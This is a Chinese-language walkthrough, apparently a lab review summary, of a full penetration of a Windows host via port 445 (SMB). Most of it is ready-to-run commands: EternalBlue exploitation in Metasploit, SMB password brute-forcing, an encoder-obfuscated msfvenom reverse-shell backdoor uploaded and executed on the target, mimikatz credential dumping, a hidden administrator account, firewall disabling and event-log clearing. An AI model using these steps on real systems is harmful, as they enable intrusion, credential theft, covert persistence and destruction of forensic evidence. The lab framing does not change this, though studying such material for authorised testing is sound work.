445 端口(SMB 服务)完整渗透流程总结
以下是 445 端口(SMB 服务)完整渗透流程总结,包含从信息收集到权限获取的全步骤,以及实战中遇到的问题和解决方案,适合复习回顾:
一、前期信息收集(确定攻击方向)
1. 扫描目标 SMB 服务状态
用nmap检测 445 端口是否开放及漏洞情况:
bash
运行
nmap -p 445 --script smb-vuln* --script smb-os-discovery 192.168.1.4 -oN smb_scan.txt
- 关键输出:
- 确认
445/tcp open microsoft-ds(SMB 服务开启)。 - 检测是否存在高危漏洞(如
MS17-010永恒之蓝),若显示VULNERABLE,可直接用漏洞利用模块。 - 若无明显漏洞,转向弱口令爆破。
- 确认
二、核心攻击流程
场景 1:存在高危漏洞(如永恒之蓝 MS17-010)
- 启动 Metasploit 加载漏洞模块:
bash
运行
msfconsole search ms17-010 use exploit/windows/smb/ms17_010_eternalblue - 配置攻击参数:
bash
运行
set RHOSTS 192.168.1.4 # 目标IP set LHOST 你的KaliIP # 攻击机IP(如192.168.1.3) - 执行攻击获取权限:
bash
运行
run # 成功后进入meterpreter会话,权限为NT AUTHORITY\SYSTEM
场景 2:无高危漏洞(弱口令爆破)
- 创建密码字典(如
pass.txt,包含常见弱密码):bash
运行
echo -e "123456\nadmin123\npassword" > pass.txt - 用 Hydra 爆破 SMB 凭证:
bash
运行
hydra -l administrator -P pass.txt smb://192.168.1.4 -t 1 -W 3 -vV- 成功标志:
[445][smb] host: 192.168.1.4 login: administrator password: 123456。
- 成功标志:
- 若 Hydra 失败,换 Crackmapexec(兼容性更好):
bash
运行
apt install crackmapexec -y crackmapexec smb 192.168.1.4 -u administrator -P pass.txt --show
三、获取凭证后:登录 SMB 并获取权限
1. 登录 SMB 共享目录(管理员权限)
bash
运行
smbclient //192.168.1.4/C$ -U administrator%123456 # C$为管理员默认共享
- 进入
smb: \>交互界面,可执行ls(列文件)、put(上传)等操作。
2. 上传后门程序(获取交互式权限)
- 生成免杀后门(避免被防火墙拦截):
bash
运行
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.3 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o smb_backdoor.exe - 通过 SMB 上传后门:
bash
运行
# 在smb: \>交互界面中执行 put smb_backdoor.exe # 上传到目标C盘根目录
3. 启动 Metasploit 监听
bash
运行
msfconsole
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.3
set LPORT 4444
run # 等待目标反弹连接
4. 执行后门程序(触发连接)
- 方式 1:RDP 登录后手动执行:
bash
运行
在目标 C 盘找到xfreerdp3 /u:administrator /p:123456 /v:192.168.1.4 # 登录桌面smb_backdoor.exe双击运行。 - 方式 2:用 psexec 远程执行:
bash
运行
python3 psexec.py administrator:123456@192.168.1.4 "C:\smb_backdoor.exe"
5. 获取 meterpreter 会话
目标执行后,Kali 收到反弹连接,显示meterpreter >,输入getuid确认SYSTEM权限。
四、后渗透操作(巩固控制权)
- 抓取敏感凭证:
meterpreter
load mimikatz sekurlsa::logonpasswords # 获取所有用户明文密码和哈希 - 添加隐藏管理员账号:
meterpreter
execute -f cmd.exe -i # 进入CMD net user smb_hack$ 654321 /add # 用户名后加$隐藏 net localgroup administrators smb_hack$ /add # 提升权限 - 持久化 RDP 服务:
meterpreter
run post/windows/manage/enable_rdp # 确保重启后仍可远程登录 - 清理痕迹:
cmd
wevtutil cl Application # 清除应用日志 wevtutil cl System # 清除系统日志
五、实战中遇到的问题及解决方案
| 问题场景 | 原因 | 解决方案 |
|---|---|---|
| Nmap 提示 “smb-info 脚本不存在” | 命令参数错误,smb-info非官方脚本 | 替换为smb-os-discovery:nmap -p 445 --script smb-vuln* --script smb-os-discovery 192.168.1.4 |
| Hydra 提示 “invalid reply from target” | Hydra 的 SMB 模块对新版本 SMB 协议(如 SMBv3)兼容性差 | 换 Crackmapexec:crackmapexec smb 192.168.1.4 -u administrator -P pass.txt |
| 无法安装 Crackmapexec(磁盘空间不足) | Kali 缓存或无用文件占用空间 | 清理空间:apt clean && apt autoremove -y,或手动上传psexec.py单文件 |
put命令提示 “找不到命令” | 在 Kali 终端直接执行,未进入smbclient交互界面 | 先登录 SMB:smbclient //192.168.1.4/C$ -U administrator%123456,在smb: \>中执行put |
| 后门被防火墙拦截 | 原生后门特征码被识别 | 1. 生成免杀后门(编码器混淆);2. 远程关闭防火墙:netsh advfirewall set allprofiles state off |
| Metasploit 提示 “地址已被使用” | 4444 端口被其他进程占用 | 换端口(如 4445):set LPORT 4445,并重新生成对应端口的后门 |
psexec.py执行报错(版本兼容) | 新版 Impacket 日志参数变化 | 改用 RDP 手动操作:登录目标后通过 CMD 执行命令 |
六、关键总结
- 核心思路:SMB 服务渗透以 “漏洞利用优先,弱口令为辅”,永恒之蓝是 445 端口最经典的一键获取权限方式。
- 免杀与防火墙:后门被拦截时,优先用编码器生成免杀版本,或通过管理员权限关闭防火墙。
- 工具选择:Crackmapexec 比 Hydra 更适合 SMB 爆破,
psexec.py适合远程执行命令,Metasploit 用于漏洞利用和监听。
通过以上流程,可完整覆盖 445 端口从探测到持久化的全渗透环节,结合实战问题的解决方案,能应对大多数靶机场景~
